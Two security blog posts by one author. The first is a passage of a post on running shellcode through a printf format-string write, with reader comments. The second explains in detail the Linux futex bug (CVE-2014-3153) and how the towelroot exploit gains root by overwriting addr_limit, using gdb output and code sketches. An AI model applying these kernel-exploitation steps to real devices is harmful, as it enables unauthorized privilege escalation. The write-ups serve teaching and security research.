%rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/ | Exploiting the Futex Bug and uncovering Towelroot – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Exploiting the Futex Bug and uncovering Towelroot The Futex bug ( CVE-2014-3153 ) is a serious bug that affects most Linux kernel version and was made popular by geohot in his towelroot exploit. You can read the original comex report at hackerone . Others have succesfully implemented this ( this one for example ), but no public exploit source code is available. This post will describe in detail about what exactly is the futex bug, how to exploit the futex bug, and also explains how towelroot works and what the modstring in Towelroot v3 actually do. Following the footsteps of other security researchers, I will not give a full source code to the exploit. By giving enough details, I hope programmers can learn and appreciate the exploit created for this bug. By not releasing the source, I hope this should stop most script kiddies. There will be some small details that I will gloss over (about the priority list manipulation), so it will require some thinking and experimentation to implement the exploit. One thing to note: I did some kernel programming, but never written a kernel exploit before, so this is my first time, I hope this is a good write up for a newbie exploit writer like me. Distributing the exploit source code will be useful only to handful of people, but writing about it will be useful to all programmers interested in this. Towelroot is not opensource, and the binary is protected from reverse engineering by compiling it with llvm-obfuscator . When I started, I tried using 64 bit kernel on my desktop, and was not successful because I can’t find a syscall that can alter the stack in the correct location. So I decided to do a blackbox reverse engineering by looking at syscalls used by towelroot. Since (I think) I know how towelroot works, I will discuss about it, and I hope it will help people to understand/modify modstrings used in towelroot v3. If you are an exploit hacker, just jump to “on to the kernel” part. The initial part is only for those unexperienced in writing exploits. Before exploiting this bug we need to understand what the bug is. In short, the bug is that there is a data structure in the stack, that is part of a priority list that is left there and can be manipulated. This is very vague for most of programmers, so lets break it down. You need to understand what a stack is and how it works. The Stack A stack is a block of memory set aside for local variable, for parameter passing, and for storing return address of a procedure call. Usually when we talk about stack and exploits, we try to alter the return address and redirect it to another address and probably do ROP ( Return Oriented Programming ). This is not the case with this bug, so forget about that. Even though this bug is about futex, this is also not a race condition bug. Stack memory is reused accross procedure calls (not cleared) . See this simple example: You can compile then run it: gcc test.c -o mytest Note: just compile normally, don’t use any optimization level (-Ox): $./mytest local foo is 10 local foo is 12 As you can see, both procedures uses exactly the same stack layout. Both local uses the same stack location. When bar is called, it writes to the same stack location used by “foo” for its local variable. This simple concept will play a role in understanding the bug. Next topic is about linked list. Usually a pointer based data structure uses heap for storing the elements (We don’t use stack because we want the elements to be “permanent” accross calls), but sometimes we can just use the stack, as long as we know that the element is going to be removed when the function exits, this will save time in allocation/deallocation. Here is an example of a made up problem where we put in an element located in the stack then removing it again before returning. In that example, if we don’t remove the element and we return, the app will likely crash when the stack content is altered then the list js manipulated. That is the simplified version of the bug in the userland. To exploit the bug, we need a good understanding of how futex work, especially the PI (Priority Inheritance Futex). There are very good papers that you can read about this topic. The first one is: Futexes Are Tricky , this will give a you an idea about what futex is and how it works. The other one is Requeue-PI: Making Glibc Condvars PI-Aware , this will give you a very thorough details about the PI futex implementation in the kernel. I suggest someone trying to implement the exploit to read at least the second paper. For those of you who are not that curious to read the papers, I will try to simplify it: when there are tasks waiting for a pi futex, the kernel creates a priority list of those tasks (to be precise, it creates a waiter structure for that task) . A priority list is used because we want to maintain a property of a pi futex, i.e, task with a high priority will be waken first even though it waits after a low priority task. The node of this priority list is stored in the kernel stack. Note that when a task waits for a futex, it will wait in kernel context, and will not return to user land. So the use of kernel stack here completely makes sense. Please note that before kernel 3.13, the kernel uses plist, but after 3.13 it uses rb_node for storing the list. If you want to exploit latest kernel, you will need to handle that. This is actually where the bug is: there is a case where the waiter is still linked in the waiter list and the function returns. Please note that a kernel stack is completely separate from user stack. You can not influence kernel stack just by calling your own function in the userspace. You can manipulate kernel stack value (like the first example) by doing syscall. If you don’t understand much about kernel, you can imagine a syscall is like a remote call to another machine: the execution on the other “machine” will use a separate stack from the one that you use in your local (user mode code). Note that this analogy doesn’t really hold when we talk about exploiting memory space. A simpler bug Before going into the detail about how the bug can be exploited in the kernel. I will present a much smaller and easier to understand userland code that has a similar bug. After you understand this, I will show how the kernel exploit works based on the same principle: First, you will need to compile this in 32 bit mode, so the sizeof int is the same as the size of pointer (32 bit), don’t use any optimization when compiling. gcc -m32 list1.c Then run the resulting executable without any parameters it will print something like this: $ ./mylist we will use pos: -1 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd724a4 Value = Alpha Value = Beta Value = --END OF LIST-- location of buf[0] is 0xffd72488 location of buf[1] is 0xffd7248c location of buf[2] is 0xffd72490 location of buf[3] is 0xffd72494 location of buf[4] is 0xffd72498 location of buf[5] is 0xffd7249c location of buf[6] is 0xffd724a0 location of buf[7] is 0xffd724a4 location of buf[8] is 0xffd724a8 location of buf[9] is 0xffd724ac Value = Alpha Value = Beta Value = --END OF LIST-- Notice the location of value on stack, which in this example is 0xffd724a4. Notice that it is the same as the address of buf[7]. Now run the test again, like this: $./mylist 7 HACKED we will use pos: 7 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd3bd34 Value = Alpha Value = Beta Value = --END OF LIST-- Value = Alpha Value = Beta Value = HACKED There is no assignment of the value “HACKED” to the list element, but it printed the word “HACKED”. Why this works? because we assign to the exact memory location in stack where “value” was stored. Also note that the location printed is now different because of ASLR , but because the position is the same in the stack, element number 7 is also relocated to the same address. Now try out if you use other value than 7, also try a very small or very large value. You can also try this with stack protector on: gcc -m32 -fstack-protector list1.c The element that matched the address will be different (may be 7 becomes 8 or 6), but the exploit will still work if you adjust the element number with the matching address. In this example, I made a very convenient function that makes the “exploit” easy (named a_function_to_exploit). In the real world, if we want to modify certain location in stack, we need to find a function that has a correct “depth” (that is: the stack size usage is at least the same as the function that we are trying to exploit), and we need to be able to manipulate the value on that stack depth. To understand about stack depth, you can comment the dummy_var1/dummy_var2/dummy_var3, compile, and see the stack address change. You can also see that if the function is optimized, certain variables are no longer in stack (moved to registers if possible). Writing using list Once you know how to manipulate an element of the list, you can write to certain memory address. On all exploits what you want to do is to write something to an address. To make this part short and to show my point, I will give an example for a simple linked list. If we have this: Assume that we can control the content of n, we can write almost arbitrary value to arbitrary address. Lets assume that prev is in offset 4 of the node, and next is in offset 8. Please note that this structure assignment: A->B = C; is the same as: *(A + offset_B) = C; Lets assume we want to overwrite memory at location X with value Y. First prepare a fake node for the “next”, this fakenext is located at memory location Y (the location of the fake node is the value that we want to write), Of course this is limited to accessible memory space (so segmentation fault will not happen). If we just want to change a value from 0 (for example: a variable containing number 0 if something is not allowed) to any non zero number (something is allowed), then we can use any number (we don’t even need a fake element, just a valid pointer to the “next” element). n->next = fakenext; n->prev = X-8 so when we call, this is what happens: (n->next)->prev = n->prev; (n->prev)->next = n->next since n->next points to our fakenode (fakenode)->prev = n->prev; (n->prev)->next = fakenode You can read more about this kind of list manipulation by searching google for heap exploits. For example, there are several articles about exploiting memory allocator in Phrack that uses list in the implementation ( Vudo Malloc Tricks , Once upon a free , Advanced Doug lea’s malloc exploits and Malloc Des-Maleficarum ). These two things: that stack content can be manipulated, and that a manipulated list can be used to write to any address is the basis of the futex exploit. On to the Kernel Now lets go to where the bug is on the kernel. You can also see the full code for futex_wait_requeue_pi() . In my simple userland code, there is a variable called instack that we want to manipulate, this time, we are interested in rt_waiter . In the case where futex requeue is called with uaddr1==uaddr2 , the code path will cause q.rt_waiter to be NULL, but actually the waiter is still linked in the waiter list. static int futex_requeue(u32 __user *uaddr1, unsigned int flags,u32 __user *uaddr2, int nr_wake, int nr_requeue,u32 *cmpval, int requeue_pi) And the source code for futex_requeue() Now we need a corresponding function for a_function_to_exploit . This syscall must be “deep” enough to touch the rt_waiter , so a syscall that doesn’t have a local variable, and doesn’t call other function is not usable. First lets examine the function when we call it. From now on to show certain things, I will show how it looks in gdb that is connected to qemu for kernel debugging. Since I want to show things about towelroot, I am using qemu with ARM kernel. I am using this official guide for building Android kernel combined with stack overflow answer . When compiling the kernel, don’t forget to enable debug symbol . I created an Android 4.3 AVD, and started the emulator with this: ~/adt-bundle-linux/sdk/tools/emulator-arm -show-kernel -kernel arch/arm/boot/zImage -avd joeavd -no-boot-anim -no-skin -no-audio -no-window -logcat *:v -qemu -monitor telnet::4444,server -s I can control the virtual machine via telnet localhost 444, and debug using gdb: $ arm-eabi-gdb vmlinux To connect and start debugging: (gdb) target remote :1234 Why do I use GDB? Because this is the easiest way to get size of structure and to know what optimizations the compiler did. Lets break on the futex_wait_requeue_pi : Breakpoint 6, futex_wait_requeue_pi (uaddr=0xb6e8be68, flags=1, val=0, abs_time=0x0, bitset=4294967295, uaddr2=0xb6e8be6c) at kernel/futex.c:2266 2266 { (gdb) list 2261 * <0 - On error 2262 */ 2263 static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags, 2264 u32 val, ktime_t *abs_time, u32 bitset, 2265 u32 __user *uaddr2) 2266 { 2267 struct hrtimer_sleeper timeout, *to = NULL; 2268 struct rt_mutex_waiter rt_waiter; 2269 struct rt_mutex *pi_mutex = NULL; 2270 struct futex_hash_bucket *hb; (gdb) list 2271 union futex_key key2 = FUTEX_KEY_INIT; 2272 struct futex_q q = futex_q_init; 2273 int res, ret; We can see the structures (gdb) ptype timeout type = struct hrtimer_sleeper { struct hrtimer timer; struct task_struct *task; } (gdb) ptype rt_waiter type = struct rt_mutex_waiter { struct plist_node list_entry; struct plist_node pi_list_entry; struct task_struct *task; struct rt_mutex *lock; } We can also check the backtrace of this function (gdb) bt #0 futex_wait_requeue_pi (uaddr=0xb6e8be68, flags=1, val=0, abs_time=0x0, bitset=4294967295, uaddr2=0xb6e8be6c) at kernel/futex.c:2266 #1 0xc0050e54 in do_futex (uaddr=0xb6e8be68, op=, val=0, timeout=, uaddr2=0xb6e8be6c, val2=0, val3=3068706412) at kernel/futex.c:2668 #2 0xc005100c in sys_futex (uaddr=0xb6e8be68, op=11, val=0, utime=, uaddr2=0xb6e8be6c, val3=0) at kernel/futex.c:2707 #3 0xc000d680 in ?? () #4 0xc000d680 in ?? () We can print out the size of the structures: (gdb) print sizeof(rt_waiter) $1 = 48 (gdb) print sizeof(timeout) $2 = 56 (gdb) print sizeof(to) $3 = 4 (gdb) print sizeof(q) $4 = 56 (gdb) print sizeof(hb) $5 = 4 We can look at the addresses of things, in this case, the variable pi_mutex is optimized as register, so we can’t access the variable address. (gdb) print &key2 $6 = (union futex_key *) 0xd801de04 (gdb) print &timeout $7 = (struct hrtimer_sleeper *) 0xd801de40 (gdb) print *&to Can't take address of "to" which isn't an lvalue. (gdb) print &rt_waiter $8 = (struct rt_mutex_waiter *) 0xd801de10 (gdb) print &pi_mutex Can't take address of "pi_mutex" which isn't an lvalue. (gdb) print &hb $9 = (struct futex_hash_bucket **) 0xd801ddf8 (gdb) print &q $10 = (struct futex_q *) 0xd801de78 In the linux kernel source dode, there is a very convenient script that can measure stack usage of functions, unfortunately this doesn’t work very well on ARM, but here is an example output in i386. objdump -d vmlinux | ./scripts/checkstack.pl ... 0xc10ff286 core_sys_select [vmlinux]: 296 0xc10ff4ac core_sys_select [vmlinux]: 296 ... 0xc106a236 futex_wait_requeue_pi.constprop.21 [vmlinux]:212 0xc106a380 futex_wait_requeue_pi.constprop.21 [vmlinux]:212 ... 0xc14a406b sys_recvfrom [vmlinux]: 180 0xc14a4165 sys_recvfrom [vmlinux]: 180 0xc14a4438 __sys_sendmmsg [vmlinux]: 180 0xc14a4524 __sys_sendmmsg [vmlinux]: 180 ... The numbers on the right shows the maximum stack usage that was accessed by that function. The rt_waiter is not the last variable on stack, so we don’t really need to go deeper than 212. The deeper the stack, the lower address value will be used, in our case, we can ignore the hashbucket , key2 , q , that totals in 64 bytes. Any syscall that has a stack use of more than 212-64 is a candidate. Learning from geohot’s exploit, he found that there are four very convenient functions that can be used, this is the fist value in towelroot modstring, sendmmsg , recvmmsg , sendmsg , and recvmsg (each corresponds to method 0-3 in his towelroot modstring). Knowing the address of rt_waiter , lets see the kernel stack when towelroot calls sys_sendmmsg and look at the iovstack array. (gdb) print &iovstack[0] $17 = (struct iovec *) 0xd801ddf0 (gdb) print &iovstack[1] $18 = (struct iovec *) 0xd801ddf8 (gdb) print &iovstack[2] $19 = (struct iovec *) 0xd801de00 (gdb) print &iovstack[3] $20 = (struct iovec *) 0xd801de08 (gdb) print &iovstack[4] $21 = (struct iovec *) 0xd801de10 Look at that, the iovstack[4] is in the same address as rt_waiter (gdb) print iovstack $22 = {{iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 125}, { iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 1050624}, {iov_base = 0xa0000800, iov_len = 125}, { iov_base = 0xa0000800, iov_len = 125}, {iov_base = 0xa0000800, iov_len = 125}} And now lets see the iov as struct rt_mutex_waiter (gdb) print *(struct rt_mutex_waiter*)&iovstack[4] $23 = {list_entry = {prio = -1610610688, prio_list = {next = 0x100800, prev = 0xa0000800}, node_list = {next = 0x7d, prev = 0xa0000800}}, pi_list_entry = {prio = 125, prio_list = {next = 0xa0000800, prev = 0x7d}, node_list = {next = 0xa0000800, prev = 0xa0000800}}, task = 0xa0000800, lock = 0xa0000800} Of course this function can return immediately when the data is received on the other side. So what towelroot do is this: create a thread that will accept a connection in localhost, after it accept()s it, it never reads the data, so the sendmmsg call will be just hanging there waiting for the data to be sent. So the receiver thread looks like this: bind() listen() while (1) { s = accept(); log("i have a client like hookers"); } As you can see in the simplest list example, that a compiler optimization can cause the address to change slightly, so the other parameter in the modstring is the hit_iov , so in the towelroot code, it looks something like this: for (i =0 ;i < 8; i++) { iov[i].iov_base = (void *)0xa0000800; iov[i].iov_len = 0x7d; if (i==TARGET_IOV) { iov[i].iov_len = 0x100800; } } The other parameter related to iov is the align. I am not completely sure about this and when this is needed. From my observation, it sets all iov_len to 0x100800. On the other thread, basically what towelroot does is this: void sender_thread(){ setpriority(N); connect(to_the_listener); futex_wait_requeue_pi(...); sendmmsg(...) ; } Unfortunately, having multi core can ruin things, so to make things safe, before starting, towelroot will set the process affinity so that this process will be run on only one core. The detail of manipulating the waiter priority list is left to the reader (the objective is to write to a memory address) , but I can give you some pointers: to add a new waiter, use FUTEX_LOCK_PI, and to control where the item will be put, call setpriority prior to waiting. The baseline value is 120 (for nice value 0), so if you set priority 12 using setpriority , you will see the priority as 132 in the kernel land. The total line of plist.h and plist.c is only around 500 lines, and you only need to go to detail for plist_add and plist_del . Depending on what we want to overwrite, we don’t even need to be able to set to a specific value. To modify the list, you will need multiple threads with different priorities. To be sure that the threads you started is really waiting inside a syscall (there will be time from creating the thread calling the syscall until it waits inside the syscall), you can use the trick that is used by towelroot: it reads the /proc/PID/task/TID/status of the Task with TID that you want to check. When the process is inside a syscall, the voluntary_ctxt_switches will keep on increasing (and the nonvoluntary_ctxt_switches will stay, but towelroot doesn’t check this). A voluntary context switch happens when a task is waiting inside a syscall. Usually what people do when exploiting the kernel is to write to a function pointer. We can get the location of where these pointers are stored from reading /proc/kallsysms , or by looking at System.map generated when compiling the kernel. Both is usually not (easily) available in latest Android ( this is one of the security mitigations introduced in Android 4.1 ). You may be able to get the address by recompiling an exact same kernel image using the same compiler and kernel configuration. On most PC distributions, you can find the symbols easily (via System.map and /proc/kallsyms is not restricted. Assume that you can somehow get the address of a function pointer to overwrite, we can write a function that sets the current process credential to have root access and redirect so that our function is called instead of the original. But there is another way to change the process credential without writing any code that runs in kernel mode, just by writing to kernel memory. You can read the full presentation here , in the next part, I will only discuss the part needed to implement the exploit. The Kernel Stack Every thread is assigned a kernel stack space, and part of the stack space contains thread_info for that task. The stack address is different for every thread (the size is 8KB/thread in ARM) and you can not predict the address. So there will be a bunch of 8 KB stack blocks allocated for every thread. The thread_info is stored in the stack, in the lower address (stacks begins from top/high address). This thread_info contains information such as the pointer to task_struct . Inside a syscall, the task_struct for current thread is accessible by using the current macro : #define get_current() (current_thread_info()->task) #define current get_current() In ARM, current_thread_info() is defined as : #define THREAD_SIZE 8192 static inline struct thread_info *current_thread_info(void){ register unsigned long sp asm ("sp"); return (struct thread_info *)(sp & ~(THREAD_SIZE - 1)); } Or if you want a constant number, the thread_info is located here $sp & 0xffffe000. Here is an example of task info when I am inside a syscall: (gdb) print *((struct thread_info*)(((uint32_t)$sp & 0xffffe000))) $23 = {flags = 0, preempt_count = 0, addr_limit = 3204448256, task = 0xd839d000, exec_domain = 0xc047e9ec, cpu = 0, cpu_domain = 21, cpu_context = { r4 = 3626094784, r5 = 3627667456, r6 = 3225947936, r7 = 3626094784, r8 = 3561353216, r9 = 3563364352, sl = 3563364352, fp = 3563372460, sp = 3563372408, pc = 3224755408, extra = {0, 0}}, syscall = 0, used_cp = "\000\000\000\000\000\000\000\000\000\000\001\001\000\000\000", tp_value = 3066633984, crunchstate = {mvdx = {{0, 0} }, mvax = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}}, dspsc = {0, 0}}, fpstate = {hard = {save = {0 }}, soft = {save = {0 }}}, vfpstate = {hard = {fpregs = {334529072224223236, 0, 0, 0, 0, 4740737484919406592, 4562254508917369340, 4724999426224703930, 0 }, fpexc = 1073741824, fpscr = 16, fpinst = 3725516880, fpinst2 = 2816}}, restart_block = {fn = 0xc0028ca8 , {futex = {uaddr = 0x0, val = 0, flags = 0, bitset = 0, time = 0, uaddr2 = 0x0}, nanosleep = {clockid = 0, rmtp = 0x0, expires = 0}, poll = {ufds = 0x0, nfds = 0, has_timeout = 0, tv_sec = 0, tv_nsec = 0}}}} Before continuing, you need to get a feeling of the memory mapping. This document doesn’t help much, but it gives an idea. Since every kernel can be compiled to have a different mapping, lets assume a common mapping for 32 bit ARM kernel: a very low memory address (0x0-0x1000) is restricted for mapping ( for security purpose ) address 0x1000-0xbf000000 is the user space around 0xc0000000- 0xcffffff is where the kernel code location area around 0xdxxxxxxx-0xfefffffe is where the kernel data is (stack and heap) high memory ranges (0xfeffffff-0xffffffff) is reserved by the kernel. The addr_limit is a nice target for overwrite. The default value for ARM is 3204448256 (0xbf000000), this value is checked in every operation in kernel that copy values from and to user space. You can read more about this in this post ( Linux kernel user to kernel space range checks ). The addr_limit is per task (every thread_info can have a different limit). Area below addr_limit is considered to be a valid memory space that user space process can pass to kernel as parameter. Just to be clear here: if we modify addr_limit , it doesn’t mean that the user space can suddenly access memory at kernel space (for example, you can’t just dereference an absolute memory like this: *(uint32_t*)0xc0000000 to access kernel space from user space). The kernel can always read all the memory, so what this limit does is to make sure that when a user space gives a parameter to a syscall, the address given must be in user space. For example, kernel will not allow write(fd, addr, len) if addr is above addr_limit . If we can somehow increase this limit, we can then read and modify kernel structures (using read/write syscall). Using a list manipulation, we can overwrite an address, and the location of addr_limit the one we want to overwrite. Once we overwrite the addr_limit (in arm it is located at offset 8 in thread_info after flags and preempt_count ), we can then (from userspace) read the address of the task_struct field, then from there, read the address of our credential ( cred ) field, then write/set our uid/gid to 0, and spawn a root shell (or do anything that you like, for example: just chown root/chmod suid certain file). Kernel stack location So basically we have two problems here: how to find the address to overwrite, and how to overwrite it. The part about “how to overwrite” is done by the list manipulation. The part about finding the address to overwrite: use other kernel vulnerability to leak kernel memory. There are a lot of bugs in the Linux kernel where it leaks memory to userspace ( here is all of them in that category , there are 26 this year, and 194 in total), not all of these bugs can be used to leak the location of the stack. Because the thread_info is always located at the beginning of stack, we can always find it if we know any address that is located in the stack, (just use addr & 0xffffe000 ). So we don’t really care about the exact leaked address. In the kernel space, there are a lot of code where a stack variable points to another variable. Just for an example, here is a code in futex.c that does this: q.rt_waiter = &rt_waiter; q.requeue_pi_key = &key2; Both rt_waiter and key2 are located in the stack. If there is a code in the kernel that copies data to user space from uninitialized data on stack it, then will use whatever previous values that was on that stack, this is what we call an information leak. For a specific kernel version with a specific compiler we can get a reliable address, but with different kernel version and different compiler version (and optimization), most of the time this is not very reliable (it really depends on the previous usage of the stack and the stack layout created by the compiler). We can check for the leaked value, if we see a value above the addr_limit , what we get is a possible stack location. Towelroot uses CVE-2013-2141 which is still in most Android kernel. You can check your kernel if it is affected by looking at the patch that corresponds to that bug (just check if info is initialized like this: struct siginfo info = {} ). You can experiment a little bit to get a (mostly) reliable kernel stack address leak. This is the value that is printed by towelroot (“xxxx is a good number”). Please note that this is not 100% reliable, so sometimes towelroot will try to modify invalid address (it doesn’t seem to check if the address is above bf000000). Lets say we find the (possible) memory and name this POSSIBLE_STACK from now on. Update: I was wrong, towelroot uses the stack address from the unlinked waiter address. The waiter is unlinked because of the tgkill() call. So the address should always be valid. Overwrite Ideally we want to be able to read the whole kernel space, but we can start small, increase our limit a little bit. You may have noticed several things by now: the rt_waiter is stored in the stack (lets say in location X), the addr_limit is also stored in stack (lets say Y), the X location is going to be always greater than Y for that thread. We know that the thread_info is always located at sp & 0xffffe000, so we have POSSIBLE_THREAD_INFO = (POSSIBLE_STACK & 0xffffe000). So if we can put the address of any rt_waiter from other tasks and write it to (POSSIBLE_THREAD_INFO + 8), we have increased the stack limit from bf000000 to some value (usually dxxxxxxx). I am not entirely sure (since I don’t have a samsung S5), but it seems that the addr_limit is not always in offset 8, so towelroot have limit_offset to fix the address. How to know if we have succesfully changed the address limit for a task? From inside that task, we can use the write syscall. For example, we can try: write(fd, (void *)0xc0000000, 4) . What we are trying to do is to write the content of the memory address to a file descriptor (you can replace 0xc000000 with any address above 0xbf000000). If we can do this successfuly, then we can continue because our limit has been changed. On my experiment, the memory leak is sometimes very predictable (it leaks always a certain task kernel address, but not always). If we know exactly which thread address we modify, we can ask that thread to continue our work, otherwise, we need to ask all the threads that we have (for example by sending a signal): can you check if the address limit have been changed for you? If a thread can read the kernel memory address, then we know the address of that thread’s thread_info , we can then read and write to POSSIBLE_THREAD_INFO + 8. First thing that we want to do is to change *(POSSIBLE_THREAD_INFO + 8) = 0xffffffff. Now this thread can read and write to anywhere. Here is an example where a thread’s addr_limit has been successfully changed to 0xffffffff: (gdb) print *((struct thread_info*)(((uint32_t)$sp & 0xffffe000))) $22 = {flags = 0, preempt_count = 0, addr_limit = 4294967295, task = 0xd45d6000, exec_domain = 0xc047e9ec, cpu = 0, cpu_domain = 21, cpu_context = { r4 = 3561369728, r5 = 3562889216, r6 = 3225947936, r7 = 3561369728, r8 = 3562677248, r9 = 3069088276, sl = 3561955328, fp = 3561963004, sp = 3561962952, pc = 3224755408, extra = {0, 0}}, syscall = 0, used_cp = "\000\000\000\000\000\000\000\000\000\000\001\001\000\000\000", tp_value = 3061055232, crunchstate = {mvdx = {{0, 0} }, mvax = {{0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}}, dspsc = {0, 0}}, fpstate = {hard = {save = {0 }}, soft = {save = {0 }}}, vfpstate = {hard = {fpregs = {1067681969331808106, 0, 0, 0, 0, 4738224773140578304, 4562254508917369340, 4732617274506747052, 0 }, fpexc = 1073741824, fpscr = 16, fpinst = 3725475920, fpinst2 = 2816}}, restart_block = {fn = 0xc0028ca8 , {futex = {uaddr = 0x0, val = 0, flags = 0, bitset = 0, time = 0, uaddr2 = 0x0}, nanosleep = {clockid = 0, rmtp = 0x0, expires = 0}, poll = {ufds = 0x0, nfds = 0, has_timeout = 0, tv_sec = 0, tv_nsec = 0}}}} Once you can read/write anywhere, you can do anything, its game over. First you may want to fix the plist so that it will not crash (something that was not done by towelroot v1), although sometimes in towelroot v3, it stops because it was unable to fix the list even though it can do the rooting process. Even though you can read/write using file, to make it easy you can use pipe , and write/read to/from that pipe. If we have a pipe, with rfd as read descriptor in the side of the pipe and wfd as the write descriptor, we can do this: To read a memory from kernel: do a write(wfd, KERNEL_ADDR, size) , and read the result in read(rfd, LOCAL_ADDRESS, size) . To write to kernel memory: do a write(wfd, LOCAL_ADDRESS, size) , and then read(rfd, KERNEL_ADDRESS, size) . If you want to play around without creating exploit, you can also try out the addr_limit by setting the value manually in your debugger. The last modstring in towelroot is temp_root which is not related to the exploit itself, it only creates temporary root for devices that have non 